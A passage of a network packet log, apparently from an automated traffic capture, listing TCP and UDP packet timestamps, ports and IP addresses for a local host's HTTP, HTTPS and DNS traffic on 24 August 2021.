Aug 24, 2021 14:02:03.920062065 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920085907 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920087099 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920105934 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920129061 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920140028 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920150995 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920173883 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920181990 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920200109 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920202017 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920223951 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920234919 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920244932 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920258999 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920267105 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920289993 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920299053 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920311928 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920334101 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920341015 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920356035 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920356035 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920382023 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920382977 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920408964 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920411110 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920433998 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920449018 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920456886 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920469999 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920479059 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920500994 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920501947 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920523882 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920525074 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920547009 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920572042 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920572996 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920597076 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920598030 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920619011 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920629978 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920643091 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920665979 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920687914 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920690060 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920711994 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920727015 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920734882 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920758963 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920759916 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920783997 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920792103 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920808077 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920830011 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920831919 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920852900 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920861006 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920875072 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920887947 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920897961 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920921087 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920932055 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920942068 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.920944929 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920969009 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920990944 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.920993090 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921015024 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921021938 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921036959 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921055079 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921055079 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921077967 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921091080 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921101093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921122074 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921143055 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921150923 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921154976 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921165943 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921179056 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921188116 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921205997 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921210051 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921236992 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921246052 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921261072 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921268940 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921281099 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921298027 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921319008 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921319962 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921350002 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921358109 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921374083 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921397924 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921411037 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921415091 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921433926 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921454906 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921457052 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921482086 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921483994 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921508074 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921514988 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921530962 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921557903 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921566963 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921571016 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921582937 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921593904 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921603918 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921613932 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921627045 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921637058 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921649933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921672106 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921674967 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921694040 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921701908 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921715975 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921739101 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921741962 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921765089 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921786070 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921791077 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921809912 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921833038 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.921840906 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921859980 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.921900988 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944093943 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944164038 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944178104 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944185972 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944214106 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944221973 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944253922 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944256067 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944286108 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944297075 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944303989 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944329977 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944339037 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944370985 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944372892 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944415092 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944439888 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944447994 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944459915 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944492102 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944493055 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944535017 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944536924 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944585085 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944588900 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944663048 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944694996 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944704056 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944717884 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944737911 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944745064 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944760084 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944781065 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944783926 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944804907 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944813013 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944828033 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944848061 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944850922 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944869041 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944880962 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944890022 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944910049 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944919109 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944932938 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944953918 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944956064 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944977999 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.944979906 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.944999933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945019007 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945022106 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945039988 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945048094 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945063114 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945081949 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945085049 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945102930 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945118904 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945123911 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945147991 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945149899 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945168018 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945184946 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945193052 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945207119 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945225000 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945231915 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945245981 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945252895 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945274115 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945285082 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945295095 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945307970 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945317984 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945337057 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945341110 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945358038 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.945362091 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945473909 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945854902 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.945998907 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.195373058 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.404264927 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.426630020 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.426665068 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.426748037 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.448961020 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.449079037 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.449103117 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.449124098 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.449153900 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.449187994 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.471375942 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.472645044 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.472675085 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.472697020 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.472718000 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.472727060 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.472737074 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.472754002 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.472755909 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.472786903 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.591836929 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.780208111 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.780339956 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:04.802479982 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.825895071 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:04.904427052 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:09.470243931 CEST	49735	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:09.499365091 CEST	80	49735	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:09.499524117 CEST	49735	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:09.509414911 CEST	49735	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:09.509453058 CEST	49735	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:09.532851934 CEST	80	49735	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:09.532905102 CEST	80	49735	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:09.556842089 CEST	80	49735	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:09.577366114 CEST	49735	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:10.076225042 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:02:10.076313019 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:02:10.099415064 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:02:10.227273941 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:02:10.227384090 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:02:12.409418106 CEST	49736	443	192.168.2.3	172.67.188.154
Aug 24, 2021 14:02:12.427082062 CEST	443	49736	172.67.188.154	192.168.2.3
Aug 24, 2021 14:02:12.427211046 CEST	49736	443	192.168.2.3	172.67.188.154
Aug 24, 2021 14:02:12.834914923 CEST	49736	443	192.168.2.3	172.67.188.154
Aug 24, 2021 14:02:12.851157904 CEST	443	49736	172.67.188.154	192.168.2.3
Aug 24, 2021 14:02:12.853010893 CEST	443	49736	172.67.188.154	192.168.2.3
Aug 24, 2021 14:02:12.853029966 CEST	443	49736	172.67.188.154	192.168.2.3
Aug 24, 2021 14:02:12.853096008 CEST	49736	443	192.168.2.3	172.67.188.154
Aug 24, 2021 14:02:12.858778954 CEST	49736	443	192.168.2.3	172.67.188.154
Aug 24, 2021 14:02:12.874932051 CEST	443	49736	172.67.188.154	192.168.2.3
Aug 24, 2021 14:02:12.875327110 CEST	443	49736	172.67.188.154	192.168.2.3
Aug 24, 2021 14:02:12.920613050 CEST	49736	443	192.168.2.3	172.67.188.154
Aug 24, 2021 14:02:14.790138960 CEST	49736	443	192.168.2.3	172.67.188.154
Aug 24, 2021 14:02:14.806376934 CEST	443	49736	172.67.188.154	192.168.2.3
Aug 24, 2021 14:02:14.817647934 CEST	443	49736	172.67.188.154	192.168.2.3
Aug 24, 2021 14:02:14.826874971 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:14.826961040 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:14.827064037 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:14.849214077 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:14.858319998 CEST	49736	443	192.168.2.3	172.67.188.154
Aug 24, 2021 14:02:54.003168106 CEST	49728	80	192.168.2.3	188.34.200.103

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 24, 2021 14:00:08.593954086 CEST	57544	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:00:08.633379936 CEST	53	57544	8.8.8.8	192.168.2.3
Aug 24, 2021 14:00:39.845050097 CEST	55984	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:00:39.934302092 CEST	53	55984	8.8.8.8	192.168.2.3
Aug 24, 2021 14:00:43.197273970 CEST	64185	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:00:43.240500927 CEST	53	64185	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:01.793154955 CEST	65110	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:01.818005085 CEST	53	65110	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:07.861632109 CEST	58361	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:07.905333042 CEST	53	58361	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:16.514311075 CEST	63492	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:16.556993008 CEST	53	63492	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:16.577164888 CEST	60831	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:16.860081911 CEST	53	60831	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:18.267849922 CEST	60100	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:18.318422079 CEST	53	60100	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:22.088201046 CEST	53195	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:22.128226995 CEST	53	53195	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:28.543998003 CEST	50141	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:28.579593897 CEST	53	50141	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:36.868834019 CEST	53023	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:36.908395052 CEST	53	53023	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:40.337501049 CEST	49563	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:40.373008966 CEST	53	49563	8.8.8.8	192.168.2.3
Aug 24, 2021 14:01:58.734283924 CEST	51352	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:01:58.778033972 CEST	53	51352	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:00.614810944 CEST	59349	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:00.658056974 CEST	53	59349	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:02.719260931 CEST	57084	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:02.754231930 CEST	53	57084	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:02.760535002 CEST	58823	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:02.795753002 CEST	53	58823	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:09.134340048 CEST	57568	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:09.166627884 CEST	53	57568	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:09.433568954 CEST	50540	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:09.466248989 CEST	53	50540	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:11.185208082 CEST	57762	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:11.219894886 CEST	53	57762	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:13.469660044 CEST	55435	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:13.495368004 CEST	53	55435	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:18.186706066 CEST	50713	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:18.224359035 CEST	53	50713	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.063576937 CEST	56132	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.098637104 CEST	53	56132	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.105086088 CEST	58987	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.110847950 CEST	56579	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.135226965 CEST	53	56579	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.138283014 CEST	53	58987	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.141354084 CEST	60633	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.143934965 CEST	61292	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.165961981 CEST	53	60633	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.169476032 CEST	53	61292	8.8.8.8	192.168.2.3
Aug 24, 2021 14:02:21.171813011 CEST	63619	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.173629045 CEST	64938	53	192.168.2.3	8.8.8.8
Aug 24, 2021 14:02:21.178523064 CEST	61946	53	192.168.2.3	8.8.8.8
